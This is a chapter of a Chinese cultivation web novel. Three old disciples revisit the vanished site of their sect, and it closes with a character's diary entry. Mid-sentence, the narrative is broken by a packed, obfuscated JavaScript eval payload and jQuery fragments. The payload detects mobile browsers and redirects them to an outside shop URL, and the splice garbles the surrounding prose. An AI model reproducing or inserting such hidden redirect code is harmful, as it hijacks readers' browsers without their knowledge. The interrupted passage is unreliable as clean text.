“我想去个地方。”某一天清晨，归尘找到典星河。


    典星河侧头看他。


    “哪儿？”


    归尘望着远处，声音轻得像是怕惊动什么。


    “上古躺平宗。”


    典星河愣住了。上古躺平宗，那是三千年前的地方，是归尘他们长大的地方，也是他们失去一切的地方。


    “可是……”典星河斟酌着开口，“三千年前的遗址，现在肯定不在了吧？”


    归尘点点头。


    “不在。”他说，“早就没了。”


    典星河更不明白了：“那你去做什么？”


    归尘沉默了一会儿。


    “那片山还在。”他说，“那条河还在。那个方向还在。”


    他顿了顿。


    “我想去看看。”


    她站起来，拍了拍身上的瓜子壳。


    “好，”她说，“我去叫人，顺便让沈彻准备坐骑。”


    消息传到沈彻耳朵里时，他正在自家后院为花浇水。


    玉简亮起来，是典星河的消息：“明天我们要去上古躺平宗旧址，你那边有什么能飞的大家伙？”


    沈彻愣了一下，随即眼睛亮了。


    上古躺平宗？


    虽然听说早就什么都没了，但能去看看那片山也是好的。他立刻翻身起来，翻遍了沈家的兽苑，最后在一处偏僻的角落里找到了他想要的——两头穿云兽。


    这种灵兽体型庞大，背脊宽阔如平地，飞行起来却稳得出奇，最难得的是它们耐力极好，飞上三天三夜都不会累。


    只是穿云兽性子懒散，不爱动弹，沈家已经好多年没人骑过它们了。


    沈彻蹲在兽栏前，对着那两头打瞌睡的大家伙说了半个时辰的好话，又许诺回去后给它们准备三天的灵果大餐，这才哄得它们勉强站起身，抖了抖毛，算是答应了。


    第二天一早，两头穿云兽落在躺平宗山门外时，众人正站在门口等着。那两头巨兽体型大得惊人，脊背宽阔得能并排坐上五六个人，浑身覆盖着银灰色的长毛，在阳光下泛着柔和的光泽。


    宋栀子仰着头看了半天，扯了扯安然的袖子：“师父，这个是毛茸茸的！”


    安然点点头，目光却落在穿云兽背上铺着的厚实垫子上——那是沈彻连夜让人缝制的，每一处细节都考虑到了，甚至连放茶杯的小凹槽都预留了出来。


    沈彻从兽背上跳下来，一脸得意：“怎么样？穿云兽！比凤凰稳多了，飞一天都不累！背上我让人铺了软垫，还有遮阳的棚子，饿了还能在兽背上摆桌子吃饭！”


    牧殇凑过去摸了摸穿云兽的毛，那兽懒洋洋地打了个哈欠，压根没理他。


    “它好淡定。”牧殇说。


    沈彻点头：“穿云兽就这样，天塌下来都懒得动。但飞起来稳得很，你们放心！”


    归尘看着那两头巨兽，沉默了一会儿，然后走到一头穿云兽面前，伸出手，轻轻摸了摸它的鼻子。那兽眯起眼，发出舒服的呼噜声。


    “走吧。”他说。


    穿云兽确实稳得出奇。它们缓缓升空时，众人几乎感觉不到颠簸，只有迎面吹来的风提醒着他们正在远离地面。


    宋栀子趴在兽背上，透过遮阳棚的边缘往下看，那些山川河流越来越小，最后被云层遮住，只剩下白茫茫一片云海。


    她兴奋得不行，拉着安然问东问西，安然难得有耐心地一一回答，只是偶尔会伸手把她往里拽一拽，怕她兴奋过头真的翻下去。


    祁幻盘腿坐在软垫上，面前摆着一个小几案，上面放着账本和毛笔。他本来想趁着路上清闲把账目理一理，但云海茫茫，阳光正好，暖洋洋的风吹得人发懒，没写几笔就开始打哈欠。


    牧殇坐在另一头兽背上，正对着沈念滔滔不绝。从穿云兽的习性讲到上古宗门的传说，从云层的高度讲到沈彻今天穿的衣裳颜色为什么跟平时不一样。


    沈念一脸茫然地听着，时不时点个头，发出“嗯”“啊”“原来如此”之类的声音，也不知道是真的听进去了还是在敷衍。


    沈彻坐在最前面，回头看了一眼这群人，嘴角忍不住弯了起来。


    他原本担心穿云兽太闷，大家会觉得无聊，现在看来完全是多虑了——有牧殇在，哪里都不会无聊。


    穆惇一个人坐在兽背边缘，目光望向远方。云层翻涌，阳光洒在上面，泛着金色的光。她手里握着那把剑，剑身上的锈迹已经淡了许多，在阳光下反射出暗沉的光泽。


    典星河躺在她旁边，闭着眼睛，也不知道是睡着了还是在发呆。


    归尘独自坐在另一头兽背的前端，目光始终望着云层尽头的方向。那里有他三千年没回去的地方，有他三千年没敢触碰的记忆。风把他的白发吹起来，在身后轻轻飘动。


    徐修和安然坐在他身后，也没有说话。


    三个人，望着同一个方向。


    飞了将近一天，穿云兽终于开始缓缓下降。


    云层渐渐散去，下方显露出一片连绵的山脉，群山环抱之中，有一条蜿蜒的河流，在阳光下泛着粼粼的波光。


    归尘站了起来。


    穿云兽落在一片山坡上。众人跳下兽背，站在齐膝的野草中，环顾四周。


    这里是一片普通的山林，有树，有草，有野花，有鸟鸣。


    和任何一座普通的山都没有区别。


    没有断壁，没有残垣，没有青石地基，没有任何人为的痕迹。


    三千年的时间，足够抹去一切。


    归尘站在那里，望着眼前这片山林，沉默了很久。


    然后他迈步往前走。


    他走得很慢，一步一步，仿佛每一步都踩在记忆的弦上。其他人站在原地，没有跟上去。典星河轻轻摆了摆手，示意大家不要动。


    归尘一个人往前走。


    徐修和安然对视一眼，也跟了上去。


    三个人，并排走着，走进那片看起来普普通通的山林。


    归尘停在一处缓坡前。


    这里什么都没有，只有野草和几棵歪脖子树。阳光从枝叶间洒下来，在地上投出斑驳的光影。


    “这里，”归尘轻声说，“以前是山门。”


    徐修站在他旁边，点了点头。


    “山门口有两棵大松树，”他说，“师父种的。”


    安然接话：“种了五十年，才长成。”


    归尘望着那片山坡，仿佛能看见什么。他的目光很专注，像是真的有两棵大松树站在那里，像是真的有一座山门立在那里，像是真的有一块刻着“躺平宗”三个大字的牌匾悬在那里。


    “每天早上，”他说，“师父站在山门口，等我们起来做早课。”


    徐修说：“大师兄总是第一个到。”


    安然说：“我第二个。”


    归尘嘴角弯了弯：“我最后一个。”


    徐修看了他一眼：“你那时候老爱赖床。”


    归尘点点头。


    “四师姐每次都来叫我。”他说，“她来得比我还晚。”


    三个人都笑了。


    风从山坡上吹过，野草轻轻摇摆。


    他们继续往前走，走到一条小溪边。


    溪水很浅，清澈见底，能看见水底的鹅卵石。几条小鱼游过，很快消失在石头缝里。


    归尘蹲下来，伸手碰了碰溪水。凉的。


    “这里，”他说，“以前是我们洗脸的地方。”


    徐修在旁边蹲下，也伸手碰了碰水。


    “每天早晨，我们都在这儿洗脸。”他说，“冬天的时候，水特别冷。四师妹每次都鬼叫。”


    安然笑了：“她鬼叫完，还是得洗。”


    归尘点点头。


    “有一次，”他说，“我偷懒，没洗。被大师兄发现了。”


    “然后呢？”徐修问。


    归尘沉默了一会儿。


    “他什么都没说，”他说，“就是看着我。”


    徐修笑了。


    “他那招，跟师父学的。”


    归尘点点头。


    “后来我还是洗了。”他说。


    安然在旁边也蹲下来，掬了一捧水，看着水从指缝间流走。


    “这水，”他说，“还是那条水。”


    归尘点点头。


    “山还在，”他说，“水还在。”


    人却不在了。


    三个人蹲在溪边，谁也没说话。


    阳光照在水面上，波光粼粼。


    他们继续往前走，走到一片相对开阔的空地前。


    这里长满了野草和野花，五颜六色的，在风里轻轻摇摆。有几棵野果树，结着青青的果子，还没熟。


    归尘在这里站了很久。


    “这里，”他说，“是我们练剑的地方。”


    徐修环顾四周。


    “那时候可没这么多花。”他说，“都是光秃秃的地，被我们踩出来的。”


    安然点点头：“每天都要练，一练就是一上午。”


    归尘望着那片空地，仿佛能看见什么。


    他看见一群少年，手里拿着剑，在阳光下挥汗如雨。师父坐在旁边，笑眯眯地看着他们。大师兄在最前面，一招一式，标准得像是画出来的。二师兄在角落里，一边练剑一边念叨着什么，大概是在算账。三师兄练完剑，第一件事就是整理衣襟。四师姐练得最不认真，总是偷懒，但师父从来不骂她。


    他看见自己，那时候还小，站在最后面，笨拙地跟着比划。


    三个人站在那片空地上，谁也没说话。


    风吹过来，野花轻轻摇摆，像是在跳舞。


    他们继续往前走，走到一棵巨大的老树前。


    那是一棵不知名的树，树干粗得几个人都抱不过来，枝叶繁茂，遮出一大片阴凉。树上缠着几根藤蔓，开着小小的白花。


    归尘在这棵树前站了很久。


    “这棵树，”他说，“还在。”


    徐修走过来，伸手摸了摸树干。


    “我记得这棵树。”他说，“那时候就这么大了。”


    安然也走过来，仰头看着那些枝叶。


    “四师妹最喜欢这棵树。”他说。


    归尘点点头。


    “玩捉迷藏的时候，她老是上去躲着。”


    徐修笑了：“每次躲这棵树上，每次都被找到。”


    安然说：“那是因为她每次都笑出声。”


    归尘嘴角弯了弯。


    “她忍不住。”他说，“看见我们来找她，她就想笑。”


    三个人站在树下，望着那些枝叶。


    阳光从叶隙间洒下来，在他们身上投下斑驳的光影。


    归尘忽然蹲下来，从怀里掏出一颗糖，放在树根旁边。


    “四师姐，”他轻声说，“我又来了。”


    风吹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387688|200271||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过来，树叶轻轻晃动，发出沙沙的声音。


    像是在回应。


    他们在山林里走了很久，走过他们能认出来的每一处地方。


    山坡、溪边、空地、老树。


    有些地方已经完全认不出来了，有些地方依稀还能看出当年的影子。但不管认不认得出，归尘都会停下来，站一会儿，然后继续走。


    太阳慢慢西斜，把整片山林染成暖橙色。


    归尘走到一处高地，停了下来。


    从这里望出去，能看见整片山林的轮廓，能看见那条蜿蜒的溪流，能看见远处起伏的山峦。


    徐修和安然站在他两边。


    三个人，并排站着，望着这片山林。


    “三千年前，”归尘轻声说，“我们就在这里。”


    徐修点点头。


    “那时候，”他说，“什么都有。”


    安然接话：“现在什么都没了。”


    归尘沉默了一会儿。


    然后他说：“有的。”


    徐修和安然看向他。


    归尘望着眼前这片山林，声音很轻。


    “山还在，”他说，“水还在。这棵树还在。”


    他顿了顿。


    “我们也还在。”


    徐修愣了一下，然后笑了。


    安然也笑了。


    三个人站在那片高地上，望着夕阳。


    太阳慢慢沉下去，把天边染成一片橙红。


    天快黑的时候，他们走下山坡。


    其他人还在原地等着，看见他们回来，都站了起来。


    宋栀子第一个跑过去。


    “归爷爷！”她喊，“你们看到什么了？”


    归尘看着她，想了想。


    “山。”他说，“水。树。”


    宋栀子愣住了。


    “就这些？”


    归尘点点头。


    宋栀子眨眨眼，有点不明白。但她没再问，只是拉着归尘的袖子，说：“回去吧，我饿了。”


    归尘低头看了看她，嘴角弯了弯。


    “好。”他说。


    众人上了穿云兽。


    穿云兽缓缓升空，载着他们离开这片山林。


    归尘坐在兽背上，回头看了一眼。


    山林越来越远，越来越小，最后被夜色吞没。


    穿云兽飞回去的时候，天已经黑了。


    月亮升起来，照在云海上，亮堂堂的。


    宋栀子趴在兽背上，看着下面的云层，已经睡着了。安然给她盖了件衣服，自己靠着软垫，闭着眼睛。


    徐修抱着酒壶，喝一口，眯着眼回味一下，再喝一口。


    穆惇坐在边缘，望着月亮。


    祁幻抱着账本，只是发呆。


    牧殇难得安静，和沈念并排坐着，望着月亮。


    沈彻坐在最前面，回头看了一眼，却也没说什么。


    归尘坐在另一头兽背上，望着月亮。


    典星河走过来，在他旁边坐下。


    “前辈，”她轻声问，“今天高兴吗？”


    归尘想了想。


    “高兴。”他说。


    “难过吗？”


    归尘又想了想。


    “也难过。”他说。


    典星河点点头。


    “我也是。”她说。


    两人一起看着月亮。


    过了很久，归尘从怀里掏出一颗糖，递给典星河。


    典星河接过糖，剥开糖纸，放进嘴里。


    甜的。


    【沈彻日记·其四】


    某年某月某日月圆


    今天带他们去了上古躺平宗旧址。


    飞了一整天，到的时候已经是下午了。


    那片山跟别的山没什么区别，有树，有草，有野花，有小溪。没有任何建筑的痕迹，三千年的时间，什么都抹平了。


    归尘前辈他们三个人走进山里，走了很久。


    我不知道他们看到了什么。


    但我猜，他们看到的东西，跟我不一样。


    我看到的是树，是草，是野花，是小溪。


    他们看到的是山门，是师父的院子，是练剑的地方，是老树下的捉迷藏。


    他们回来之后，我问牧殇：“你看到了什么？”


    牧殇想了想，说：“我看到了一座山。”


    我说：“我也看到了。”


    牧殇说：“但前辈们看到的，不是这座山。”


    我说：“那是什么？”


    牧殇难得安静了一会儿，然后说：“是家。”


    我愣了一下。


    家。


    三千年前的家。


    现在什么都没了，但他们还记得。


    记得那两棵松树，记得那条小溪，记得那片空地，记得那棵老树。


    记得那些不在了的人。


    记得那些回不去的日子。


    我突然有点羡慕他们。


    不是羡慕他们有三千年的记忆。


    是羡慕他们，有可以记得的人。


    回来的路上，月亮很圆。


    归尘前辈和典星河坐在一起，看着月亮。


    我不知道他们在想什么。


    但我知道，他们想的人，也在看月亮。


    （今天没有蹭到饭，因为回来太晚了。）


    （但穆惇师姐说，明天给我补上。）